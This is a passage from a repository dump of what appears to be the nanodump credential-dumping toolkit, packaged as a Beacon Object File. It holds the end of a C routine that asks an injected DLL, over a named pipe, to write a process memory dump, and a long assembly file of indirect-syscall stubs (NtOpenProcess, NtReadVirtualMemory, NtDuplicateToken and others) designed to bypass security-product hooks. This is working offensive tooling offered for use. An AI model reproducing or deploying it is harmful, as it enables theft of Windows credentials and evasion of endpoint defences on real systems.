cleanup;\n    }\n\n    for (int i = 0; i < 5; ++i)\n    {\n        // let's try to connect to the named pipe\n        success = client_connect_to_named_pipe(\n            IPC_PIPE_NAME,\n            &hPipe);\n        if (!success)\n        {\n            // sleep half a second and try again\n            if (i != 4)\n            {\n                DPRINT(\"could not connnect to the named pipe, sleeping and trying again...\");\n            }\n            Sleep(500);\n            continue;\n        }\n        break;\n    }\n\n    if (!success)\n    {\n        PRINT_ERR(\"Could not connect to the named pipe, the DLL does not seem to have been loaded\");\n        goto cleanup;\n    }\n\n    success = client_send_arguments_from_pipe(\n        hPipe,\n        dump_path,\n        use_valid_sig,\n        FALSE);\n    if (!success)\n        goto cleanup;\n\n    success = client_recv_success(\n        hPipe,\n        dump_worked);\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hPipe)\n        NtClose(hPipe);\n\n    return ret_val;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/syscalls-asm.asm",
    "content": ".code\n\nEXTERN SW3_GetSyscallAddress: PROC\nEXTERN SW2_GetSyscallNumber: PROC\n\nSyscallNotFound PROC\n\tmov eax, 0C0000225h\n\tret\nSyscallNotFound ENDP\n\nlocal_is_wow64 PROC\n\tmov rax, 0\n\tret\nlocal_is_wow64 ENDP\n\ngetIP PROC\n\tmov rax, [rsp]\n\tret\ngetIP ENDP\n\nNtOpenProcess PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0CD9B2A0Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenProcess ENDP\n\nNtGetNextProcess PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0FFBF1A2Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtGetNextProcess ENDP\n\nNtReadVirtualMemory PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0118B7567h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtReadVirtualMemory ENDP\n\nNtClose PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 02252D33Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtClose ENDP\n\nNtOpenProcessToken PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 08FA915A2h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenProcessToken ENDP\n\nNtQueryInformationProcess PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0BDBCBC20h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryInformationProcess ENDP\n\nNtQueryVirtualMemory PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00393E980h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryVirtualMemory ENDP\n\nNtAdjustPrivilegesToken PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 017AB1B32h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtAdjustPrivilegesToken ENDP\n\nNtAllocateVirtualMemory PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00595031Bh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtAllocateVirtualMemory ENDP\n\nNtFreeVirtualMemory PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 001932F05h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtFreeVirtualMemory ENDP\n\nNtCreateFile PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 096018EB6h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateFile ENDP\n\nNtWriteFile PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 024B22A1Ah\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtWriteFile ENDP\n\nNtCreateProcessEx PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 01198E2E3h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateProcessEx ENDP\n\nNtQuerySystemInformation PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 04A5B2C8Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQuerySystemInformation ENDP\n\nNtDuplicateObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 09CBFA413h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtDuplicateObject ENDP\n\nNtQueryObject_ PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00E23F64Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryObject_ ENDP\n\nNtWaitForSingleObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0426376E3h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtWaitForSingleObject ENDP\n\nNtDeleteFile PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 064B26A1Ah\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtDeleteFile ENDP\n\nNtTerminateProcess PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0652E64A0h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtTerminateProcess ENDP\n\nNtSetInformationProcess_ PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 01D9F320Ch\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtSetInformationProcess_ ENDP\n\nNtQueryInformationToken PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 027917136h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryInformationToken ENDP\n\nNtDuplicateToken PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0099C8384h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtDuplicateToken ENDP\n\nNtSetInformationThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 01ABE5F87h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtSetInformationThread ENDP\n\nNtCreateDirectoryObjectEx PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0BCBD62EAh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateDirectoryObjectEx ENDP\n\nNtCreateSymbolicLinkObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 08AD1BA6Dh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateSymbolicLinkObject ENDP\n\nNtOpenSymbolicLinkObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 08C97980Fh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenSymbolicLinkObject ENDP\n\nNtQuerySymbolicLinkObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0A63A8CA7h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQuerySymbolicLinkObject ENDP\n\nNtCreateSection PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0F06912F9h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateSection ENDP\n\nNtOpenThreadToken PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 073A33918h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenThreadToken ENDP\n\nNtCreateTransaction PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 07CAB5EFBh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateTransaction ENDP\n\nNtQueryInformationFile PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 038985C1Eh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryInformationFile ENDP\n\nNtMakeTemporaryObject PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 084DF4D82h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtMakeTemporaryObject ENDP\n\nNtCreateKey PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0A1B2860Ch\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateKey ENDP\n\nNtSetValueKey PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 00A1F2D80h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtSetValueKey ENDP\n\nNtQueryWnfStateNameInformation PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 014823613h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtQueryWnfStateNameInformation ENDP\n\nNtUpdateWnfStateData PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0E63DF28Ah\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtUpdateWnfStateData ENDP\n\nNtOpenEvent PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 032A83D3Ah\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtOpenEvent ENDP\n\nNtAlpcConnectPort PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 06AF3595Ch\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtAlpcConnectPort ENDP\n\nNtAlpcSendWaitReceivePort PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0E830236Eh\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtAlpcSendWaitReceivePort ENDP\n\nNtCreateThreadEx PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0113F55E3h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateThreadEx ENDP\n\nNtDeleteKey PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 06BDA0E04h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtDeleteKey ENDP\n\nNtPrivilegeCheck PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 012B1DE10h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtPrivilegeCheck ENDP\n\nNtCreateEvent PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 010893520h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtCreateEvent ENDP\n\nNtTerminateThread PROC\n\tmov [rsp +8], rcx\n\tmov [rsp+16], rdx\n\tmov [rsp+24], r8\n\tmov [rsp+32], r9\n\tmov rcx, 0381B3AB5h\n\tpush rcx\n\tsub rsp, 028h\n\tcall SW3_GetSyscallAddress\n\tadd rsp, 028h\n\tpop rcx\n\tpush rax\n\tsub rsp, 028h\n\tcall SW2_GetSyscallNumber\n\tadd rsp, 028h\n\tpop r11\n\tmov rcx, [rsp+8]\n\tmov rdx, [rsp+16]\n\tmov r8, [rsp+24]\n\tmov r9, [rsp+32]\n\tmov r10, rcx\n\tjmp r11\nNtTerminateThread 